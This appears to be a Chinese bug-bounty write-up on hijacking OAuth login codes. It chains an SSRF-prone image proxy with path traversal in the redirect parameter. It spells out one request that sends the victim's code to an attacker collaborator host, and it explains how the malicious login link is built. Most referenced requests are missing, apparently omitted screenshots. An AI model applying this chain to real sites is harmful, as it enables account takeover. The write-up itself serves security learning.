侦查

白帽小哥选择的目标作用域就在主应用程序：

1377.targetstaging.app

在侦察的第一阶段，白帽小哥利用了各种服务，如Archive、Google和Yahoo来提取端点和路径。

然而，在这个特定的目标中，需要设置一个特定Cookie，类似 usertest=hash ，才能正常工作。

于是白帽小哥打开Burp Suite，开始测试它的各项功能，并了解目标如何运作。

OAuth授权流程

对于赏金猎人来说，其中身份验证功能是非常有趣的部分。

该目标包括一个OAuth部分，允许使用Google、Microsoft和Slack等登录网站。在测试和验证OAuth之后，共收获五个请求：

1、第一个请求将重定向到该公司的主网站，如下所示：

2、 第二个请求在被重定向至公司主网站后，将会重定向到谷歌登录页面，如下所示：

3、第三个请求使用谷歌提供商的代码导航回该公司的主网站，如下所示：

4、第四个请求使用谷歌代码从主网站导航到一个子域，结构如下：

5、第五个也是最后一个请求授权并允许我们获取 auth cookie来访问我们的帐户，其公式如下：

在弄清了它的工作原理后，白帽小哥开始尝试不同的方法来劫持代码。第一个想法是检查流程的第四部分中的 redirect_uri 参数是如何工作的，尝试将受害者重定向到攻击者指定的域并获取OAuth代码。

进行了各种测试后，Regex似乎完全固定在该公司的域内，看起来似乎很安全。即使找到打开的重定向，也无法通过更改 redirect_uri 参数将其重定向。

更改个人资料

登录到控制面板后，在“更新个人资料图片”的过程中，一条请求成功引起了白帽小哥的注意：

看到这个请求，相信稍微有点经验的白帽子第一个想法就是修改SSRF的URL，所以将burp collaboration 插入到 AvatarUrl 参数中：

重新加载个人资料后，发现设置中出现了一个新链接，并且这个请求正是Burp Collaboration。

这里需要注意到的一点是，浏览器不会直接加载图像。取而代之的是，个人资料图片的链接被提供给反向代理，然后该代理加载并显示图像。

在仔细检查构建DOM的请求后，白帽小哥发现了下面这个请求：

在这里，它接受个人资料图片的链接作为输入，如果格式是图像，就会加载。

于是白帽小哥在此处执行了各种测试，例如将协议更改为Gopher或FILE、使用重定向技巧更改协议、使用XSS或LFI的SVG输入、端口扫描等等。

但遗憾的是，均告失败。

漏洞链构造

在调整心态后，白帽小哥重新打开系统，开始检查自己渗透测试笔记。此时他萌生了这样一个想法，目前我们有一个反向代理，它将URL作为路径，并向URL发送一个GET请求，其中包含URL中的所有信息。

在OAuth流程的第五个请求中，代码在GET参数中发送，那么如果能以某种方式将流程的第5步重定向到这个路径的话？

GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1

我们是不是就可以接收代码并访问受害者的帐户了？！

说干就干！再次仔细查看了流程，首先检查登录页面（在本例中为Google）接受的有效参数：

这里有两个重要的参数，在上面的请求中以红色和绿色突出显示。

第一个参数是，不能以任何方式更改，并且完全固定。

第二个参数是，它接受任何值，并且可以以任何方式更改。

此参数的目的是在提供者身份验证并获得代码后将该值传递给公司主站点。

然后，公司主站点将检查参数中的URL，如果它通过了check函数，它将使用Provider代码将我们重定向到该URL。（流程中的第四个请求）：

现在尝试通过使用第二个URL利用反向代理来检索代码：

现在，开始使用checker函数，这里的正则表达式看起来是完全安全的。

接着使用 state 参数中 redirect_uri 参数的regex来劫持代码，然而，任何更改都会导致403响应，这让渗透变得更具挑战性，除非向路径不断添加字符，这意味着该网站将接受如下链接：

在这里，白帽小哥冒出使用路径遍历来观察Web服务器行为的想法。

居然起作用了！因此，我们可以使用上面的Payload来回到受害者的前三个目录并将它们重定向到我们想要的路径，从而允许我获取代码：

来看看最后一个Payload，在此处，我们可以使用 target.app 站点和提供程序来创建恶意链接，可以通过这种方式创建两个链接：：

如果受害者点击了两个链接中的任何一个并登录，攻击者将收到请求：

请求中包括第5个请求中的提供商代码，因此我们就可以利用这个代码自由的访问受害者的账户。

你学到了么？